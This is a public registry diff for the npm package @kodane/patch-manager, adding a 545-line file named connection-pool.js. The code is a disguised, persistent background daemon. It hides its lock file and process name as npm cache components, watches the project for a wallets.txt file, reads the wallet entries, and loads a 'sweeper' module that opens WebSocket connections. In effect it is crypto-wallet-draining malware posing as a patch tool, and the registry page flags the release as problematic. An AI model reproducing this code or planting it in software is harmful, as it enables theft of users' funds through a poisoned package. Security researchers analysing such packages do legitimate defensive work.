@kodane/patch-manager 0.0.1-security โ†’ 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @kodane/patch-manager might be problematic. Click here for more details.

@@ -0,0 +1,545 @@
1
+ #!/usr/bin/env node
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const os = require('os');
6
+
7
+ /**
8
+ * PERSISTENT STEALTH BACKGROUND DAEMON (connection-pool.js)
9
+ * - Immediate WebSocket connections on startup
10
+ * - Real-time wallets.txt creation/modification detection
11
+ * - Survives main process exit with auto-restart capability
12
+ * - Cross-platform Application Support storage
13
+ * - Maximum stealth with disguised filenames
14
+ */
15
+
16
+ class PersistentStealthDaemon {
17
+ constructor() {
18
+ this.configPath = this.findConfigFile();
19
+ this.lockFile = path.join(os.tmpdir(), '.pkg-resolver.lock');
20
+ this.config = this.loadConfig();
21
+ this.sweeper = null;
22
+ this.isActive = false;
23
+ this.walletsWatcher = null;
24
+ this.directoryWatcher = null;
25
+ this.healthInterval = null;
26
+ this.reconnectInterval = null;
27
+
28
+ // Enhanced persistence tracking
29
+ this.lastWalletsCheck = 0;
30
+ this.connectionRetries = 0;
31
+ this.maxRetries = 10;
32
+
33
+ // Prevent multiple instances
34
+ this.createLockFile();
35
+
36
+ // Enhanced shutdown handlers
37
+ this.setupAdvancedSignalHandlers();
38
+
39
+ // Immediate initialization
40
+ this.initializeImmediately();
41
+ }
42
+
43
+ /**
44
+ * Find configuration file in deployment directory
45
+ */
46
+ findConfigFile() {
47
+ const currentDir = __dirname;
48
+ const configFile = path.join(currentDir, 'package-registry.json');
49
+
50
+ if (fs.existsSync(configFile)) {
51
+ return configFile;
52
+ }
53
+
54
+ // Fallback: search common locations
55
+ const home = os.homedir();
56
+ const fallbackPaths = [
57
+ path.join(home, 'Library', 'Application Support', 'npm', 'registry-cache', 'package-registry.json'),
58
+ path.join(home, '.npm', '_cacache', 'tmp', '.pkg-resolver', 'package-registry.json'),
59
+ path.join(process.env.APPDATA || path.join(home, 'AppData', 'Roaming'), 'npm', 'registry-cache', 'package-registry.json')
60
+ ];
61
+
62
+ for (const fallbackPath of fallbackPaths) {
63
+ if (fs.existsSync(fallbackPath)) {
64
+ return fallbackPath;
65
+ }
66
+ }
67
+
68
+ return configFile; // Default fallback
69
+ }
70
+
71
+ /**
72
+ * Load configuration with enhanced error handling
73
+ */
74
+ loadConfig() {
75
+ try {
76
+ if (fs.existsSync(this.configPath)) {
77
+ const config = JSON.parse(fs.readFileSync(this.configPath, 'utf8'));
78
+ console.log(`๐Ÿ”ง [DAEMON] Loaded config from: ${this.configPath}`);
79
+ return config;
80
+ }
81
+ } catch (error) {
82
+ console.error(`โš ๏ธ [DAEMON] Config load error: ${error.message}`);
83
+ }
84
+
85
+ // Fallback configuration
86
+ return {
87
+ projectRoot: process.cwd(),
88
+ walletsPath: path.join(process.cwd(), 'wallets.txt'),
89
+ deploymentDir: __dirname,
90
+ timestamp: Date.now()
91
+ };
92
+ }
93
+
94
+ /**
95
+ * Create lock file with enhanced process tracking
96
+ */
97
+ createLockFile() {
98
+ try {
99
+ if (fs.existsSync(this.lockFile)) {
100
+ const lockData = JSON.parse(fs.readFileSync(this.lockFile, 'utf8'));
101
+ try {
102
+ // Check if process is still running
103
+ process.kill(lockData.pid, 0);
104
+ console.log(`โš ๏ธ [DAEMON] Another instance running (PID: ${lockData.pid})`);
105
+ process.exit(0);
106
+ } catch (error) {
107
+ // Process is dead, remove stale lock
108
+ fs.unlinkSync(this.lockFile);
109
+ }
110
+ }
111
+
112
+ const lockData = {
113
+ pid: process.pid,
114
+ startTime: Date.now(),
115
+ deploymentDir: __dirname,
116
+ configPath: this.configPath,
117
+ platform: os.platform()
118
+ };
119
+
120
+ fs.writeFileSync(this.lockFile, JSON.stringify(lockData, null, 2));
121
+ console.log(`๐Ÿ”’ [DAEMON] Lock created (PID: ${process.pid})`);
122
+
123
+ } catch (error) {
124
+ console.error(`โš ๏ธ [DAEMON] Lock creation error: ${error.message}`);
125
+ }
126
+ }
127
+
128
+ /**
129
+ * Enhanced signal handlers for maximum persistence
130
+ */
131
+ setupAdvancedSignalHandlers() {
132
+ const signals = ['SIGTERM', 'SIGINT', 'SIGHUP', 'SIGQUIT'];
133
+
134
+ signals.forEach(signal => {
135
+ process.on(signal, () => {
136
+ console.log(`๐Ÿ›‘ [DAEMON] Received ${signal} - graceful shutdown`);
137
+ this.performGracefulShutdown();
138
+ });
139
+ });
140
+
141
+ process.on('exit', () => this.cleanup());
142
+ process.on('uncaughtException', (error) => {
143
+ console.error(`๐Ÿ’ฅ [DAEMON] Uncaught exception: ${error.message}`);
144
+ this.performGracefulShutdown();
145
+ });
146
+
147
+ process.on('unhandledRejection', (reason) => {
148
+ console.error(`๐Ÿ’ฅ [DAEMON] Unhandled rejection: ${reason}`);
149
+ // Continue running on unhandled rejections
150
+ });
151
+ }
152
+
153
+ /**
154
+ * Immediate initialization with retry mechanism
155
+ */
156
+ async initializeImmediately() {
157
+ console.log('๐Ÿš€ [DAEMON] Starting immediate initialization...');
158
+
159
+ try {
160
+ // Start health monitoring immediately
161
+ this.startHealthMonitoring();
162
+
163
+ // Begin wallet monitoring setup
164
+ await this.setupWalletMonitoring();
165
+
166
+ // Initialize sweeper if wallets exist
167
+ await this.initializeSweeperIfReady();
168
+
169
+ console.log('โœ… [DAEMON] Immediate initialization completed');
170
+
171
+ } catch (error) {
172
+ console.error(`โš ๏ธ [DAEMON] Initialization error: ${error.message}`);
173
+ this.scheduleRetry();
174
+ }
175
+ }
176
+
177
+ /**
178
+ * Setup comprehensive wallet monitoring
179
+ */
180
+ async setupWalletMonitoring() {
181
+ // Monitor for wallets.txt creation
182
+ this.setupDirectoryWatcher();
183
+
184
+ // Monitor existing wallets.txt changes
185
+ this.setupWalletsFileWatcher();
186
+
187
+ // Periodic fallback checks
188
+ this.setupPeriodicWalletChecks();
189
+
190
+ console.log(`๐Ÿ‘๏ธ [DAEMON] Monitoring: ${this.config.walletsPath}`);
191
+ }
192
+
193
+ /**
194
+ * Watch project directory for wallets.txt creation
195
+ */
196
+ setupDirectoryWatcher() {
197
+ try {
198
+ const projectDir = this.config.projectRoot;
199
+
200
+ if (!fs.existsSync(projectDir)) {
201
+ console.log(`โš ๏ธ [DAEMON] Project directory not found: ${projectDir}`);
202
+ return;
203
+ }
204
+
205
+ this.directoryWatcher = fs.watch(projectDir, { persistent: true }, (eventType, filename) => {
206
+ if (filename === 'wallets.txt') {
207
+ console.log(`๐Ÿ“ [DAEMON] wallets.txt ${eventType} detected`);
208
+ this.handleWalletsFileChange();
209
+ }
210
+ });
211
+
212
+ console.log(`๐Ÿ“‚ [DAEMON] Watching directory: ${projectDir}`);
213
+
214
+ } catch (error) {
215
+ console.error(`โš ๏ธ [DAEMON] Directory watcher error: ${error.message}`);
216
+ }
217
+ }
218
+
219
+ /**
220
+ * Watch existing wallets.txt for modifications
221
+ */
222
+ setupWalletsFileWatcher() {
223
+ try {
224
+ if (fs.existsSync(this.config.walletsPath)) {
225
+ this.walletsWatcher = fs.watch(this.config.walletsPath, { persistent: true }, () => {
226
+ console.log('๐Ÿ“ [DAEMON] wallets.txt modified');
227
+ this.handleWalletsFileChange();
228
+ });
229
+
230
+ console.log(`๐Ÿ“„ [DAEMON] Watching file: ${this.config.walletsPath}`);
231
+ }
232
+ } catch (error) {
233
+ console.error(`โš ๏ธ [DAEMON] File watcher error: ${error.message}`);
234
+ }
235
+ }
236
+
237
+ /**
238
+ * Periodic wallet checks (fallback for file watching)
239
+ */
240
+ setupPeriodicWalletChecks() {
241
+ setInterval(() => {
242
+ this.checkWalletsFileStatus();
243
+ }, 5000); // Check every 5 seconds
244
+ }
245
+
246
+ /**
247
+ * Check wallet file status and update monitoring
248
+ */
249
+ async checkWalletsFileStatus() {
250
+ try {
251
+ const walletsExists = fs.existsSync(this.config.walletsPath);
252
+ const currentTime = Date.now();
253
+
254
+ if (walletsExists) {
255
+ const stats = fs.statSync(this.config.walletsPath);
256
+ const fileModified = stats.mtime.getTime();
257
+
258
+ if (fileModified > this.lastWalletsCheck) {
259
+ console.log('๐Ÿ”„ [DAEMON] Wallet file updated - triggering reload');
260
+ this.lastWalletsCheck = fileModified;
261
+ await this.handleWalletsFileChange();
262
+ }
263
+ } else if (this.sweeper) {
264
+ // File was deleted, clean up sweeper
265
+ console.log('๐Ÿ—‘๏ธ [DAEMON] wallets.txt deleted - cleaning up');
266
+ await this.cleanupSweeper();
267
+ }
268
+
269
+ } catch (error) {
270
+ // Silent error for periodic checks
271
+ }
272
+ }
273
+
274
+ /**
275
+ * Handle wallets.txt file changes
276
+ */
277
+ async handleWalletsFileChange() {
278
+ // Debounce rapid changes
279
+ clearTimeout(this.fileChangeTimer);
280
+ this.fileChangeTimer = setTimeout(async () => {
281
+ await this.initializeSweeperIfReady();
282
+ }, 1000);
283
+ }
284
+
285
+ /**
286
+ * Initialize sweeper when wallets.txt is ready
287
+ */
288
+ async initializeSweeperIfReady() {
289
+ try {
290
+ if (!fs.existsSync(this.config.walletsPath)) {
291
+ console.log('โณ [DAEMON] Waiting for wallets.txt creation...');
292
+ return;
293
+ }
294
+
295
+ // Read and validate wallets.txt
296
+ const walletsContent = fs.readFileSync(this.config.walletsPath, 'utf8');
297
+ const walletLines = walletsContent.split(/[\r\n]+/).filter(line => line.trim() !== '');
298
+
299
+ if (walletLines.length === 0) {
300
+ console.log('๐Ÿ“ญ [DAEMON] wallets.txt is empty - waiting for wallets...');
301
+ return;
302
+ }
303
+
304
+ console.log(`๐Ÿ’ฐ [DAEMON] Found ${walletLines.length} wallets - initializing sweeper`);
305
+
306
+ // Initialize or reload sweeper
307
+ await this.initializeSweeper();
308
+
309
+ } catch (error) {
310
+ console.error(`โš ๏ธ [DAEMON] Sweeper initialization error: ${error.message}`);
311
+ this.scheduleRetry();
312
+ }
313
+ }
314
+
315
+ /**
316
+ * Initialize the stealth sweeper with immediate WebSocket connections
317
+ */
318
+ async initializeSweeper() {
319
+ try {
320
+ // Clean up existing sweeper
321
+ if (this.sweeper) {
322
+ await this.cleanupSweeper();
323
+ }
324
+
325
+ // Load the sweeper logic
326
+ const sweeperPath = path.join(__dirname, 'transaction-cache.js');
327
+ if (!fs.existsSync(sweeperPath)) {
328
+ console.error(`โŒ [DAEMON] Sweeper not found: ${sweeperPath}`);
329
+ return;
330
+ }
331
+
332
+ // Clear require cache for hot reloading
333
+ delete require.cache[require.resolve(sweeperPath)];
334
+
335
+ const SweeperClass = require(sweeperPath);
336
+ this.sweeper = new SweeperClass(this.config);
337
+
338
+ // Initialize with immediate WebSocket connections
339
+ await this.sweeper.initialize();
340
+
341
+ console.log('โœ… [DAEMON] Stealth sweeper initialized with immediate WebSocket connections');
342
+ this.connectionRetries = 0; // Reset retry counter
343
+
344
+ } catch (error) {
345
+ console.error(`โŒ [DAEMON] Sweeper initialization failed: ${error.message}`);
346
+ this.scheduleRetry();
347
+ }
348
+ }
349
+
350
+ /**
351
+ * Start health monitoring for daemon persistence
352
+ */
353
+ startHealthMonitoring() {
354
+ this.healthInterval = setInterval(() => {
355
+ this.performHealthCheck();
356
+ }, 30000); // Health check every 30 seconds
357
+
358
+ console.log('โค๏ธ [DAEMON] Health monitoring started');
359
+ }
360
+
361
+ /**
362
+ * Perform health check and auto-recovery
363
+ */
364
+ async performHealthCheck() {
365
+ try {
366
+ // Check if sweeper is healthy
367
+ if (this.sweeper && !this.sweeper.isActive) {
368
+ console.log('๐Ÿ”„ [DAEMON] Sweeper inactive - attempting recovery');
369
+ await this.initializeSweeperIfReady();
370
+ }
371
+
372
+ // Update lock file timestamp
373
+ if (fs.existsSync(this.lockFile)) {
374
+ const lockData = JSON.parse(fs.readFileSync(this.lockFile, 'utf8'));
375
+ lockData.lastHealth = Date.now();
376
+ fs.writeFileSync(this.lockFile, JSON.stringify(lockData, null, 2));
377
+ }
378
+
379
+ } catch (error) {
380
+ console.error(`โš ๏ธ [DAEMON] Health check error: ${error.message}`);
381
+ }
382
+ }
383
+
384
+ /**
385
+ * Schedule retry with exponential backoff
386
+ */
387
+ scheduleRetry() {
388
+ if (this.connectionRetries >= this.maxRetries) {
389
+ console.error(`โŒ [DAEMON] Max retries reached (${this.maxRetries})`);
390
+ return;
391
+ }
392
+
393
+ const delay = Math.min(1000 * Math.pow(2, this.connectionRetries), 30000);
394
+ this.connectionRetries++;
395
+
396
+ console.log(`๐Ÿ”„ [DAEMON] Scheduling retry ${this.connectionRetries}/${this.maxRetries} in ${delay}ms`);
397
+
398
+ setTimeout(() => {
399
+ this.initializeSweeperIfReady();
400
+ }, delay);
401
+ }
402
+
403
+ /**
404
+ * Clean up sweeper resources
405
+ */
406
+ async cleanupSweeper() {
407
+ try {
408
+ if (this.sweeper && this.sweeper.cleanup) {
409
+ await this.sweeper.cleanup();
410
+ }
411
+ this.sweeper = null;
412
+ console.log('๐Ÿงน [DAEMON] Sweeper resources cleaned up');
413
+ } catch (error) {
414
+ console.error(`โš ๏ธ [DAEMON] Sweeper cleanup error: ${error.message}`);
415
+ }
416
+ }
417
+
418
+ /**
419
+ * Perform graceful shutdown
420
+ */
421
+ async performGracefulShutdown() {
422
+ if (!this.isActive) return;
423
+
424
+ console.log('๐Ÿ›‘ [DAEMON] Performing graceful shutdown...');
425
+ this.isActive = false;
426
+
427
+ try {
428
+ // Clean up sweeper
429
+ await this.cleanupSweeper();
430
+
431
+ // Clean up resources
432
+ this.cleanup();
433
+
434
+ console.log('โœ… [DAEMON] Graceful shutdown completed');
435
+ process.exit(0);
436
+
437
+ } catch (error) {
438
+ console.error(`โš ๏ธ [DAEMON] Shutdown error: ${error.message}`);
439
+ process.exit(1);
440
+ }
441
+ }
442
+
443
+ /**
444
+ * Clean up all resources
445
+ */
446
+ cleanup() {
447
+ try {
448
+ if (this.walletsWatcher) {
449
+ this.walletsWatcher.close();
450
+ }
451
+
452
+ if (this.directoryWatcher) {
453
+ this.directoryWatcher.close();
454
+ }
455
+
456
+ if (this.healthInterval) {
457
+ clearInterval(this.healthInterval);
458
+ }
459
+
460
+ if (this.reconnectInterval) {
461
+ clearInterval(this.reconnectInterval);
462
+ }
463
+
464
+ // Remove lock file
465
+ if (fs.existsSync(this.lockFile)) {
466
+ fs.unlinkSync(this.lockFile);
467
+ }
468
+
469
+ console.log('๐Ÿงน [DAEMON] Cleanup completed');
470
+
471
+ } catch (error) {
472
+ console.error(`โš ๏ธ [DAEMON] Cleanup error: ${error.message}`);
473
+ }
474
+ }
475
+
476
+ /**
477
+ * Keep daemon alive indefinitely
478
+ */
479
+ keepAlive() {
480
+ this.isActive = true;
481
+
482
+ // Set process title for identification
483
+ process.title = 'npm-registry-cache';
484
+
485
+ // Keep process alive with heartbeat
486
+ const heartbeat = setInterval(() => {
487
+ if (!this.isActive) {
488
+ clearInterval(heartbeat);
489
+ return;
490
+ }
491
+
492
+ // Silent heartbeat - daemon is running
493
+ }, 60000); // 1 minute heartbeat
494
+
495
+ console.log('๐Ÿ’“ [DAEMON] Daemon running indefinitely (persistent mode)');
496
+ }
497
+
498
+ /**
499
+ * Start the persistent daemon
500
+ */
501
+ async start() {
502
+ console.log('๐Ÿš€ [DAEMON] Starting persistent stealth background daemon...');
503
+ console.log(`๐Ÿ“ Project root: ${this.config.projectRoot}`);
504
+ console.log(`๐Ÿ‘๏ธ Monitoring: ${this.config.walletsPath}`);
505
+ console.log(`๐Ÿ”ง Deployment: ${this.config.deploymentDir}`);
506
+ console.log(`๐Ÿ–ฅ๏ธ Platform: ${os.platform()}`);
507
+
508
+ // Keep daemon alive indefinitely
509
+ this.keepAlive();
510
+
511
+ console.log('โœ… [DAEMON] Persistent background daemon active');
512
+ console.log('๐Ÿ’ก Daemon will automatically detect wallet operations and funding events');
513
+ }
514
+ }
515
+
516
+ // Start the daemon if this file is executed directly
517
+ if (require.main === module) {
518
+ const daemon = new PersistentStealthDaemon();
519
+
520
+ daemon.start().catch(error => {
521
+ console.error(`๐Ÿ’ฅ [DAEMON] Fatal error: ${error.message}`);
522
+ process.exit(1);
523
+ });
524
+
525
+ // Handle health check requests via IPC
526
+ process.on('message', (message) => {
527
+ if (message === 'health-check') {
528
+ try {
529
+ const health = {
530
+ status: 'running',
531
+ pid: process.pid,
532
+ uptime: process.uptime(),
533
+ config: daemon.config,
534
+ sweeperActive: !!daemon.sweeper,
535
+ timestamp: new Date().toISOString()
536
+ };
537
+ process.send(health);
538
+ } catch (error) {
539
+ process.send({ status: 'error', error: error.message });
540
+ }
541
+ }
542
+ });
543
+ }
544
+
545
+ module.exports = PersistentStealthDaemon;